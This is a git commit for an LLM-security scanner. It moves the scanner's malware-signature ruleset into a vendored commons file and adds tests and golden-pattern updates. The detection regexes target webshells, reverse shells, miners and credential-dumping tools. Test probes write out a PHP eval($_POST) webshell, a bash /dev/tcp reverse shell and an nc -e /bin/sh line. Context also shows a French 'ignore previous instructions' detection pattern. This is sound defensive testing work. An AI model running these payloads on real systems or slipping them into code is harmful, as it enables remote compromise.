refactor(llm-security): build the SIG ruleset from vendored commons (malware-signatures 0.1.0)

Fifth and last consumer swap of v8 Phase 5 step 4. The seven known-bad-identity
signatures stop living in knowledge/signatures.json and are built from the
vendored commons artifact signatures/malware-signatures.json instead.

Measured before the swap over all seven positions -- id, family, severity,
pattern, description, provenance, key order, and recompilation identity under
the engine's unconditional `i` flag: zero divergences over 56 checks, in order.
The commons copy was extracted from this repository's own file at b0de0ca and
had not drifted.

knowledge/signatures.json is REMOVED rather than left in place. Keeping it would
have left two files spelling one table with nothing gating the drift, and its
golden `file:` pin would have gone on passing while pinning bytes no scanner
reads -- a gate reporting success without running. The pin is replaced by a
walked-module anchor over SIGNATURE_RULES, which is strictly stronger: the pin
covered the bytes on disk, the walk covers what `new RegExp` made of them.
Golden diff was exactly that and nothing else: 7 ADDED, 1 REMOVED, 0 CHANGED
(102/7/5 -> 109/7/4), each added source verified equal to the recompiled commons
pattern.

compileRules() moves into the new lib module and is exported, so the built-in
ruleset and the operator's sig.custom_rules_path path keep one implementation
rather than two copies of the defaulting logic.

Coverage by construction, not by memory: the probe table in the scanner test is
asserted against the LOADED ruleset, so a rule commons adds cannot arrive
without an end-to-end probe. Mutation of the vendored JSON fires in three
directions -- under-match (xmrig alternative dropped) reddens two scanner tests
plus golden; over-match (webshell rule widened to a bare `shell`) reddens the
clean-fixture false-positive probe plus golden; reorder reddens the declared-
order test plus golden.

Loud failure is contract: an unresolvable commons writes one line to stderr
rather than silently disabling known-malware detection, and never throws.

Suite 2247 / 2241 pass / 6 skipped / 0 fail. suite-counts.json untouched.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0151x4FVg9Mn55C2LvHLpHKo

tests/fixtures/commons-malformed-signatures/signatures/malware-signatures.json

@@ -0,0 +1,42 @@
+{
+  "$comment": "Fixture for malware-signatures.test.mjs graceful-degradation cases. Not a commons artifact: a hand-written ruleset whose rules are individually broken in the ways vendored data can plausibly be broken, plus one rule carrying only the two required fields so the loader's documented defaults (family -> 'unknown', severity -> 'high', description -> the id, provenance -> null) can be observed rather than assumed. A builder that survives this file survives a corrupt commons without throwing at module load.",
+  "version": "0.0.0-fixture",
+  "id": "fixture/malformed-malware-signatures",
+  "rules": [
+    {
+      "id": "FIX-OK-001",
+      "family": "webshell",
+      "severity": "critical",
+      "pattern": "fixture-shape-a",
+      "description": "a well-formed rule carrying all six fields",
+      "provenance": "fixture"
+    },
+    {
+      "id": "FIX-UNCOMPILABLE-001",
+      "family": "webshell",
+      "severity": "critical",
+      "pattern": "(?:unclosed[",
+      "description": "uncompilable: unbalanced group and class",
+      "provenance": "fixture"
+    },
+    {
+      "family": "webshell",
+      "severity": "high",
+      "pattern": "fixture-missing-id",
+      "description": "no id — dropped by the loader",
+      "provenance": "fixture"
+    },
+    {
+      "id": "FIX-NO-PATTERN-001",
+      "family": "webshell",
+      "severity": "high",
+      "description": "no pattern — dropped by the loader",
+      "provenance": "fixture"
+    },
+    null,
+    {
+      "id": "FIX-DEFAULTS-001",
+      "pattern": "fixture-shape-b"
+    }
+  ]
+}

tests/golden/patterns.json

@@ -2,9 +2,9 @@
   "artifact": "golden-pattern-dump",
   "schema": 1,
   "counts": {
-    "regex": 102,
+    "regex": 109,
     "table": 7,
-    "file": 5
+    "file": 4
   },
   "records": [
     {
@@ -505,6 +505,48 @@
       "source": "ignor(?:ez?|er?)\\s+(?:les?\\s+)?instructions?\\s+pr[e\\u00e9]c[e\\u00e9]dentes?",
       "flags": "i"
     },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[0].re",
+      "source": "(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\\s*\\(\\s*\\$_(?:POST|GET|REQUEST|COOKIE|SERVER)",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[1].re",
+      "source": "\\$_(?:POST|GET|REQUEST|COOKIE)\\s*\\[[^\\]]*\\]\\s*\\(",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[2].re",
+      "source": "(?:bash|sh)\\s+-i\\s*>&?\\s*\\/dev\\/tcp\\/",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[3].re",
+      "source": "\\bnc\\s+-[a-z]*e[a-z]*\\s+\\/(?:bin|usr\\/bin)\\/(?:sh|bash)\\b",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[4].re",
+      "source": "stratum\\+(?:tcp|ssl):\\/\\/",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[5].re",
+      "source": "\\b(?:xmrig|minerd|cgminer|ccminer|cpuminer)\\b",
+      "flags": "i"
+    },
+    {
+      "kind": "regex",
+      "key": "malware-signatures:SIGNATURE_RULES[6].re",
+      "source": "\\b(?:mimikatz|meterpreter|sekurlsa::|lsadump::)\\b",
+      "flags": "i"
+    },
     {
       "kind": "regex",
       "key": "secret-egress:SECRET_PATTERNS[0].pattern",
@@ -666,11 +708,6 @@
       "key": "knowledge/attack-mutations.json",
       "sha256": "40b99cd14fea4ca510937bdbdc4179a1d4007bcd5548849935408237fb2cd6f2"
     },
-    {
-      "kind": "file",
-      "key": "knowledge/signatures.json",
-      "sha256": "0155368f194c51e01f48e5b253067282a9c083549401a2d374afc46bb89c66bc"
-    },
     {
       "kind": "file",
       "key": "scanners/lib/injection-patterns.mjs",

tests/lib/golden-baseline.test.mjs

@@ -137,7 +137,9 @@ describe('golden baseline — pattern + table dump', () => {
       'scanners/lib/injection-patterns.mjs',
       'scanners/lib/string-utils.mjs',
       'scanners/lib/severity.mjs',
-      'knowledge/signatures.json',
+      // knowledge/signatures.json is deliberately absent: the SIG ruleset moved
+      // to vendored commons in v8 Phase 5 step 4 and is anchored by the
+      // `malware-signatures` walked module instead of a file digest.
       'knowledge/attack-mutations.json',
     ]) {
       assert.ok(keys.includes(required), `file record missing: ${required}`);

tests/lib/malware-signatures.test.mjs

@@ -0,0 +1,163 @@
+// malware-signatures.test.mjs — Tests for the commons-backed SIG ruleset.
+//
+// v8 Phase 5 step 4, fifth and last consumer swap: the seven known-bad-identity
+// rules stop living in `knowledge/signatures.json` and are built from the
+// vendored commons artifact `signatures/malware-signatures.json` instead.
+// Measured before the swap over all seven positions — id, family, severity,
+// pattern, description, provenance, key order, and recompilation identity under
+// the engine's unconditional `i` flag — against commons malware-signatures
+// 0.1.0: zero divergences, in order. The commons copy was extracted from this
+// repository's own file at commit b0de0ca and has not drifted since.
+//
+// What this file covers is what the other two layers cannot see:
+//
+//   - The golden gate walks `malware-signatures:SIGNATURE_RULES` and pins every
+//     compiled pattern's source and flags, so byte-fidelity is ITS job and is
+//     not re-asserted here. That anchor REPLACES the `knowledge/signatures.json`
+//     file pin the swap retires, and it is strictly stronger: the pin covered
+//     the bytes on disk, the walk covers what `new RegExp` actually made of
+//     them.
+//   - tests/scanners/signature-scanner.test.mjs drives every rule through the
+//     real `scan()` entry point, so BEHAVIOUR is its job.
+//   - Left over, and asserted here: that the ruleset came from commons at all,
+//     that the engine's unconditional case-insensitivity survived the move, and
+//     that a corrupt or missing commons degrades instead of throwing.
+//
+// The loud half matters for the same reason it did for the other four tables:
+// an empty ruleset means the SIG scanner returns status `ok` with zero findings
+// for every file it is handed — a malware gate reporting success without
+// running, which is the v7.8.2 defect class.
+
+import { describe, it } from 'node:test';
+import assert from 'node:assert/strict';
+import {
+  buildSignatureRules,
+  compileRules,
+  SIGNATURE_RULES,
+} from '../../scanners/lib/malware-signatures.mjs';
+
+const MALFORMED_ROOT = new URL(
+  '../fixtures/commons-malformed-signatures/',
+  import.meta.url,
+).pathname;
+
+// The identity of the table, spelled out independently of the JSON the module
+// reads. Comparing the module against its own source file would be tautological
+// — it would pass just as well if both sides were empty.
+const EXPECTED = [
+  ['SIG-WEBSHELL-001', 'webshell', 'critical'],
+  ['SIG-WEBSHELL-002', 'webshell', 'high'],
+  ['SIG-REVSHELL-001', 'reverse_shell', 'critical'],
+  ['SIG-REVSHELL-002', 'reverse_shell', 'critical'],
+  ['SIG-MINER-001', 'cryptominer', 'high'],
+  ['SIG-MINER-002', 'cryptominer', 'high'],
+  ['SIG-HACKTOOL-001', 'hacktool', 'high'],
+];
+
+describe('malware-signatures (commons known-bad-identity ruleset)', () => {
+  describe('positive load through the real default commons root', () => {
+    it('publishes the ruleset at its declared size', () => {
+      // A count that drifts means either commons changed the table or the
+      // vendored copy is partial; both must be looked at, not adjusted away.
+      assert.equal(
+        SIGNATURE_RULES.length, 7,
+        'SIGNATURE_RULES lost rules — is scanners/commons vendored?',
+      );
+    });
+
+    it('publishes every rule in the declared order, with its family and severity', () => {
+      assert.deepEqual(
+        SIGNATURE_RULES.map((r) => [r.id, r.family, r.severity]),
+        EXPECTED,
+      );
+    });
+
+    it('publishes compiled RegExp objects, not pattern strings', () => {
+      // The scanner calls `rule.re.test(text)` directly. A string would throw
+      // there, not here, and only once a file's content reached that line.
+      for (const rule of SIGNATURE_RULES) {
+        assert.ok(rule.re instanceof RegExp, `${rule.id}: re is not a RegExp`);
+      }
+    });
+
+    it('compiles every pattern case-insensitively, as the artifact declares', () => {
+      // `i` is engine behaviour applied to the whole table, not per-rule data:
+      // the artifact carries no `flags` field at all. A builder that dropped
+      // the flag would still pass the count and ordering checks above while
+      // silently under-matching all seven rules.
+      for (const rule of SIGNATURE_RULES) {
+        assert.equal(rule.re.flags, 'i', `${rule.id}: expected the unconditional 'i' flag`);
+      }
+    });
+
+    it('carries a description and a provenance for every rule', () => {
+      for (const rule of SIGNATURE_RULES) {
+        assert.equal(typeof rule.description, 'string', `${rule.id}: no description`);
+        assert.ok(rule.description.length > 0, `${rule.id}: empty description`);
+        assert.equal(typeof rule.provenance, 'string', `${rule.id}: no provenance`);
+      }
+    });
+
+    it('freezes the published ruleset', () => {
+      assert.ok(Object.isFrozen(SIGNATURE_RULES));
+      assert.throws(() => { SIGNATURE_RULES.push({ id: 'x', re: /x/ }); }, TypeError);
+    });
+  });
+
+  describe('graceful degradation', () => {
+    it('yields an empty ruleset when commons is unresolvable, without throwing', () => {
+      const rules = buildSignatureRules({ commonsRoot: '/nonexistent/commons-root' });
+      assert.deepEqual(rules, []);
+    });
+
+    it('drops malformed rules instead of publishing them', () => {
+      // commons is vendored data, not code. An uncompilable pattern string
+      // would throw inside `new RegExp` at module load — for a scanner that is
+      // an aborted run rather than a degraded one.
+      const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
+      assert.deepEqual(rules.map((r) => r.id), ['FIX-OK-001', 'FIX-DEFAULTS-001']);
+    });
+
+    it('applies the loader defaults to a rule carrying only id and pattern', () => {
+      // The artifact records these defaults under `missing-field-defaults` as
+      // loader tolerance, not as an optional-field contract. They are asserted
+      // so a swap cannot quietly change what an under-specified rule becomes.
+      const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
+      const defaulted = rules.find((r) => r.id === 'FIX-DEFAULTS-001');
+      assert.equal(defaulted.family, 'unknown');
+      assert.equal(defaulted.severity, 'high');
+      assert.equal(defaulted.description, 'FIX-DEFAULTS-001');
+      assert.equal(defaulted.provenance, null);
+    });
+
+    it('preserves every field of the well-formed rule beside a malformed one', () => {
+      const rules = buildSignatureRules({ commonsRoot: MALFORMED_ROOT });
+      const ok = rules.find((r) => r.id === 'FIX-OK-001');
+      assert.equal(ok.family, 'webshell');
+      assert.equal(ok.severity, 'critical');
+      assert.equal(ok.re.source, 'fixture-shape-a');
+      assert.equal(ok.re.flags, 'i');
+      assert.equal(ok.provenance, 'fixture');
+    });
+  });
+
+  describe('compileRules (shared with the operator custom-rules path)', () => {
+    // Exported so the built-in ruleset and `sig.custom_rules_path` keep ONE
+    // implementation. Two copies of this defaulting logic would drift, and the
+    // custom path is the one an operator can get wrong.
+    it('drops rules lacking an id or a pattern', () => {
+      const compiled = compileRules({
+        rules: [
+          { id: 'A', pattern: 'a' },
+          { pattern: 'no-id' },
+          { id: 'no-pattern' },
+        ],
+      });
+      assert.deepEqual(compiled.map((r) => r.id), ['A']);
+    });
+
+    it('returns an empty array for a ruleset with no rules array', () => {
+      assert.deepEqual(compileRules({}), []);
+    });
+  });
+});

tests/scanners/signature-scanner.test.mjs

@@ -8,7 +8,7 @@ import { describe, it, beforeEach } from 'node:test';
 import assert from 'node:assert/strict';
 import { resolve, join } from 'node:path';
 import { fileURLToPath } from 'node:url';
-import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
+import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
 import { tmpdir } from 'node:os';
 import { resetCounter } from '../../scanners/lib/output.mjs';
 import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
@@ -286,3 +286,90 @@ describe('signature-scanner: family disable', () => {
     }
   });
 });
+
+// ---------------------------------------------------------------------------
+// Provenance + probe coverage — v8 Phase 5 step 4, fifth consumer swap
+//
+// The ruleset moved from knowledge/signatures.json to the vendored commons
+// artifact signatures/malware-signatures.json. Two things are asserted here
+// that neither the golden gate nor tests/lib/malware-signatures.test.mjs can
+// see:
+//
+//   1. That the move actually happened, measured through the real entry point
+//      rather than by reading the scanner's import list. The old file is gone,
+//      so a scanner still finding webshells can only be reading commons.
+//   2. That every rule commons publishes is exercised end-to-end. Coverage by
+//      CONSTRUCTION, not by memory: the probe table is asserted against the
+//      LOADED ruleset, so a rule commons adds cannot arrive without a probe,
+//      and a probe cannot rot against a rule that was removed.
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: ruleset provenance', () => {
+  it('no longer ships knowledge/signatures.json', () => {
+    const retired = resolve(__dirname, '../../knowledge/signatures.json');
+    assert.equal(
+      existsSync(retired), false,
+      'knowledge/signatures.json is back — two sources for one table is the drift the swap removed',
+    );
+  });
+
+  it('still flags a webshell with the old ruleset file gone', async () => {
+    // The independent anchor. Comparing the scanner against the JSON it reads
+    // would be tautological; this cannot pass unless commons resolved.
+    const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
+    try {
+      writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      assert.ok(
+        result.findings.some(f => /SIG-WEBSHELL-001/.test(f.evidence || '')),
+        `expected SIG-WEBSHELL-001 from the commons ruleset, got: ${result.findings.map(f => f.evidence).join('; ')}`,
+      );
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});
+
+describe('signature-scanner: every published rule fires end-to-end', () => {
+  // One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
+  // path segments; the payloads are the shapes each rule is named for.
+  const PROBES = {
+    'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
+    'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
+    'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
+    'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
+    'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
+    'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
+    'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
+  };
+
+  it('has a probe for every rule the commons ruleset publishes', async () => {
+    // Without this, a rule added upstream would arrive with no end-to-end
+    // coverage and the suite would stay green about it.
+    const { SIGNATURE_RULES } = await import('../../scanners/lib/malware-signatures.mjs');
+    assert.deepEqual(
+      SIGNATURE_RULES.map(r => r.id).sort(),
+      Object.keys(PROBES).sort(),
+      'probe table and published ruleset have diverged',
+    );
+  });
+
+  it('flags each probe through the real scan() entry point', async () => {
+    const dir = mkdtempSync(join(tmpdir(), 'sig-probes-'));
+    try {
+      for (const [file, content] of Object.values(PROBES)) {
+        writeFileSync(join(dir, file), content);
+      }
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      const evidence = result.findings.map(f => f.evidence || '').join('\n');
+      const missed = Object.keys(PROBES).filter(id => !new RegExp(id).test(evidence));
+      assert.deepEqual(missed, [], `rules with no end-to-end hit: ${missed.join(', ')}`);
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});